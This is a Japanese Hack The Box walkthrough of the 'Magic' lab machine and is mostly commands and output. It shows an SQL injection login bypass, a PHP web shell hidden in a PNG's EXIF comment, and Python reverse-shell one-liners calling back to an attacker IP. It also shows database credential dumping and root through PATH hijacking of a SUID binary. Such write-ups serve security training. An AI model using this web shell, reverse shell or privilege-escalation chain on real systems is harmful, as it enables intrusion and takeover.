【Hack The Box】Magic Walkthrough
はじめに
ポートスキャン
root@kali:~# nmap -sC -sV -Pn 10.10.10.185 Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-22 08:35 JST Nmap scan report for 10.10.10.185 Host is up (0.24s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA) | 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA) |_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Magic Portfolio Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 37.57 seconds
22(ssh)、80(http)が開いている。 ※nmap -p- 10.10.10.185も実行し、ポート検出の漏れがないことを確認。
ブラウザで80番にアクセス
左下にあるloginをクリックするとlogin.phpに遷移できる。
ディレクトリスキャン
txtとphpを拡張子に指定し、ディレクトリスキャン。Hack the boxでは、txtを指定するといいものが見つかることが多い。
root@kali:~# gobuster dir -u http://10.10.10.185 -w /usr/share/dirb/wordlists/common.txt -x .txt,.php -t 100 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.185 [+] Threads: 100 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: txt,php [+] Timeout: 10s =============================================================== 2020/08/22 08:47:33 Starting gobuster =============================================================== /.hta (Status: 403) /.hta.txt (Status: 403) /.hta.php (Status: 403) /assets (Status: 301) /.htaccess (Status: 403) /.htaccess.txt (Status: 403) /.htaccess.php (Status: 403) /.htpasswd (Status: 403) /.htpasswd.txt (Status: 403) /.htpasswd.php (Status: 403) /.sh_history (Status: 403) /.sh_history.txt (Status: 403) /.sh_history.php (Status: 403) /images (Status: 301) /index.php (Status: 200) /index.php (Status: 200) /logout.php (Status: 302) /login.php (Status: 200) /server-status (Status: 403) /upload.php (Status: 302) =============================================================== 2020/08/22 08:48:09 Finished ===============================================================
upload.phpが気になる。
webページの探索
login.php
upload.php
login.phpにリダイレクトされる。ログインする必要がある。
usernameパラメータへのSQLインジェクション
login.phpにアクセスするために、SQLインジェクションを試行する。 入力フォームからはスペースが入れられなかったので、Burpを使う。
usernameパラメータにSQLインジェクションを試行し、ログイン成功。
ログインに成功すると、uploda.phpに飛ばされる。 upload.phpは以下のような画面。 画像ファイル(jpg、jpeg、png)がアップロードできる。
ファイルアップロード
ファイルアップロードといったらwebshell。以下のページを参考にした。 File upload bypass - Hacker's Grimoire
abc.pngにコメントを追加。ウェブシェル。
root@kali:~/magic# exiftool -Comment='<?php system($_GET['cmd']); ?>' abc.png 1 image files updated
コメントが入ったかを確認。
root@kali:~/magic# exiftool abc.png ExifTool Version Number : 12.04 File Name : abc.png Directory : . File Size : 1062 bytes File Modification Date/Time : 2020:08:22 09:19:26+09:00 File Access Date/Time : 2020:08:22 09:19:26+09:00 File Inode Change Date/Time : 2020:08:22 09:19:26+09:00 File Permissions : rwxrw-rw- File Type webl : PNG File Type Extension : png MIME Type : image/png Image Width : 91 Image Height : 70 Bit Depth : 8 Color Type : RGB Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced SRGB Rendering : Perceptual Gamma : 2.2 Pixels Per Unit X : 5669 Pixels Per Unit Y : 5669 Pixel Units : meters Comment : <?php system($_GET[cmd]); ?> Image Size : 91x70 Megapixels : 0.006 root@kali:~/magic# mv abc.png abc.php.png
Commentに挿入されていることを確認できる。これをアップロード。
アップロードされた場所を探す
この画像ファイル(webshell機能有り)にアクセスするためには、画像ファイルがアップロードされたパスを特定する必要がある。
トップページのソースを見たら/images/uploads配下のから画像取ってきていたため、ここに画像がアップロードされていると予想。
発見。
リバースシェル獲得
Reverse Shell Cheat Sheet | pentestmonkey を参考にする。
攻撃者側で待ち受けた状態で以下にアクセスすると、シェルが返ってくる。(python2だと反応がなかったので、python3を指定)
http://10.10.10.185/images/uploads/abc.php.png?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
root@kali:~/magic# nc -lvp 1234 listening on [any] 1234 ... 10.10.10.185: inverse host lookup failed: Unknown host connect to [10.10.14.14] from (UNKNOWN) [10.10.10.185] 47080 /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
bashを使う。
$ python3 -c 'import pty; pty.spawn("/bin/bash")' www-data@ubuntu:/var/www/Magic/images/uploads$ ls -l /home ls -l /home total 4 drwxr-xr-x 15 theseus theseus 4096 Apr 16 02:58 theseus
theseusというユーザがいる。このユーザになれればuser.txtが取得できる。
userシェル取得まで
webサービスを起動しているユーザ(www-data)から/home配下にいるユーザになるためには、データベース系のファイルを参照することがヒントになることが多い。
今回もいつも通りで、db.php5にtheseusのユーザ名とパスワードを発見。
www-data@ubuntu:/var/www/Magic$ ls ls assets db.php5 images index.php login.php logout.php upload.php www-data@ubuntu:/var/www/Magic$ cat db.php5 cat db.php5 <?php class Database { private static $dbName = 'Magic' ; ★データベース名 private static $dbHost = 'localhost' ; private static $dbUsername = 'theseus'; ★データベースユーザ名 private static $dbUserPassword = 'iamkingtheseus'; ★パスワード private static $cont = null; public function __construct() { die('Init function is not allowed'); } (snip) }
mysqlコマンドは存在せず。suも実行したが、失敗。
www-data@ubuntu:/var/www/Magic$ su theseus su theseus Password: iamkingtheseus su: Authentication failure
少し調べると、mysqldump
が使えそうだ。
このコマンド、オプションと文字列の間にスペースを入れないぽい。-pの後にスペースを入れると、再度パスワードが聞かれた。
www-data@ubuntu:/var/www/Magic$ mysqldump --databases Magic -utheseus -piamkingtheseus <qldump --databases Magic -utheseus -piamkingtheseus mysqldump: [Warning] Using a password on the command line interface can be insecure. (snip) -- -- Current Database: `Magic` -- CREATE DATABASE /*!32312 IF NOT EXISTS*/ `Magic` /*!40100 DEFAULT CHARACTER SET latin1 */; USE `Magic`; -- -- Table structure for table `login` -- DROP TABLE IF EXISTS `login`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `login` ( `id` int(6) NOT NULL AUTO_INCREMENT, `username` varchar(50) NOT NULL, `password` varchar(100) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `username` (`username`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `login` -- LOCK TABLES `login` WRITE; /*!40000 ALTER TABLE `login` DISABLE KEYS */; INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng'); ★パスワードらしきもの発見 /*!40000 ALTER TABLE `login` ENABLE KEYS */; UNLOCK TABLES; mysqldump: Got error: 1044: Access denied for user 'theseus'@'localhost' to database 'iamkingtheseus' when selecting the database
ここで発見したパスワードを使ってtheseusユーザになれた。
www-data@ubuntu:/var/www/Magic$ su theseus su theseus Password: Th3s3usW4sK1ng theseus@ubuntu:/var/www/Magic$ id id uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)
権限昇格のための情報収集
sudoの権限確認から。
theseus@ubuntu:/var/www/Magic$ sudo -l sudo -l [sudo] password for theseus: Th3s3usW4sK1ng Sorry, user theseus may not run sudo on ubuntu.
sudoは使えない。SUIDの調査。
theseus@ubuntu:/var/www/Magic$ find / -perm -4000 -type f 2>/dev/null find / -perm -4000 -type f 2>/dev/null /usr/sbin/pppd /usr/bin/newgrp (snip) /snap/core/7917/usr/lib/snapd/snap-confine /snap/core/7917/usr/sbin/pppd /bin/umount /bin/fusermount /bin/sysinfo /bin/mount /bin/su /bin/ping
sysinfoコマンドが気になる。実行。
theseus@ubuntu:/var/www/Magic$ sysinfo sysinfo ====================Hardware Info==================== H/W path Device Class Description ===================================================== system VMware Virtual Platform /0 bus 440BX Desktop Reference Platform /0/0 memory 86KiB BIOS /0/1 processor AMD EPYC 7401P 24-Core Processor /0/1/0 memory 16KiB L1 cache /0/1/1 memory 16KiB L1 cache /0/1/2 memory 512KiB L2 cache (snip) ====================Disk Info==================== Disk /dev/loop0: 160.2 MiB, 167931904 bytes, 327992 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk /dev/loop1: 956 KiB, 978944 bytes, 1912 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk /dev/loop2: 89.1 MiB, 93454336 bytes, 182528 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes (snip) ====================CPU Info==================== processor : 0 vendor_id : AuthenticAMD cpu family : 23 model : 1 model name : AMD EPYC 7401P 24-Core Processor stepping : 2 microcode : 0x8001230 cpu MHz : 2000.000 cache size : 512 KB physical id : 0 siblings : 1 core id : 0 cpu cores : 1 apicid : 0 initial apicid : 0 fpu : yes fpu_exception : yes cpuid level : 13 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl tsc_reliable nonstop_tsc cpuid extd_apicid pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ssbd ibpb vmmcall fsgsbase bmi1 avx2 smep bmi2 rdseed adx smap clflushopt sha_ni xsaveopt xsavec xsaves clzero arat overflow_recov succor bugs : fxsave_leak sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass bogomips : 4000.00 TLB size : 2560 4K pages clflush size : 64 cache_alignment : 64 address sizes : 43 bits physical, 48 bits virtual power management: (snip) ====================MEM Usage===================== total used free shared buff/cache available Mem: 3.8G 573M 2.0G 6.2M 1.3G 3.0G Swap: 947M 0B 947M
いくつかのコマンドの実行結果を結合してように見える。 stringsしたところ、、sysinfo内で実行されているコマンドが確認できた。
theseus@ubuntu:/bin$ strings sysinfo strings sysinfo (snip) ====================Hardware Info==================== lshw -short ====================Disk Info==================== fdisk -l ====================CPU Info==================== cat /proc/cpuinfo ====================MEM Usage===================== free -h (snip)
rootシェル取得まで
sysinfoを実行することで、以下4つのコマンドが実行されていることが分かった。
・lshw
・fdisk
・cat /proc/cpuinfo
・free
/tmpにlshwというファイルを用意し、パスの優先順位を変え、sysinfo実行時には作成したlshwを実行させるようにする。 lshwという名前のファイルに、リバースシェルを埋め込んでおく。
theseus@ubuntu:/tmp$ echo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > lshw <o(),2);p=subprocess.call(["/bin/sh","-i"]);' > lshw theseus@ubuntu:/tmp$ chmod 777 lshw chmod 777 lshw
sysinfo実行。
theseus@ubuntu:/tmp$ sysinfo sysinfo ====================Hardware Info==================== /tmp/lshw: 1: /tmp/lshw: Syntax error: "(" unexpected (snip)
/tmp/lshwを実行してくれているが、エラーがでる。ここが解決できず、このマシンがActiveのときにrootのポイントが取れなかった。 その後、以下のようにヒアドキュメントを使って一行ずつ書き込むんで対応した。
theseus@ubuntu:/tmp$ cat << EOF > lshw cat << EOF > lshw > python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) <;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) > s.connect(("10.10.14.12",4444)) s.connect(("10.10.14.12",4444)) > os.dup2(s.fileno(),0) os.dup2(s.fileno(),0) > os.dup2(s.fileno(),1) os.dup2(s.fileno(),1) > os.dup2(s.fileno(),2) os.dup2(s.fileno(),2) > p=subprocess.call(["/bin/sh","-i"])' p=subprocess.call(["/bin/sh","-i"])' > EOF EOF theseus@ubuntu:/tmp$ chmod 777 lshw chmod 777 lshw theseus@ubuntu:/tmp$ sysinfo
これでrootのシェルをゲット。
root@kali:~# nc -lvp 4444 listening on [any] 4444 ... 10.10.10.185: inverse host lookup failed: Unknown host connect to [10.10.14.12] from (UNKNOWN) [10.10.10.185] 60590 # id uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)
後から別の人のwalkthroughを見てもヒアドキュメントを使わずにrootのシェルを取得していた。ここはまだ解決できていない。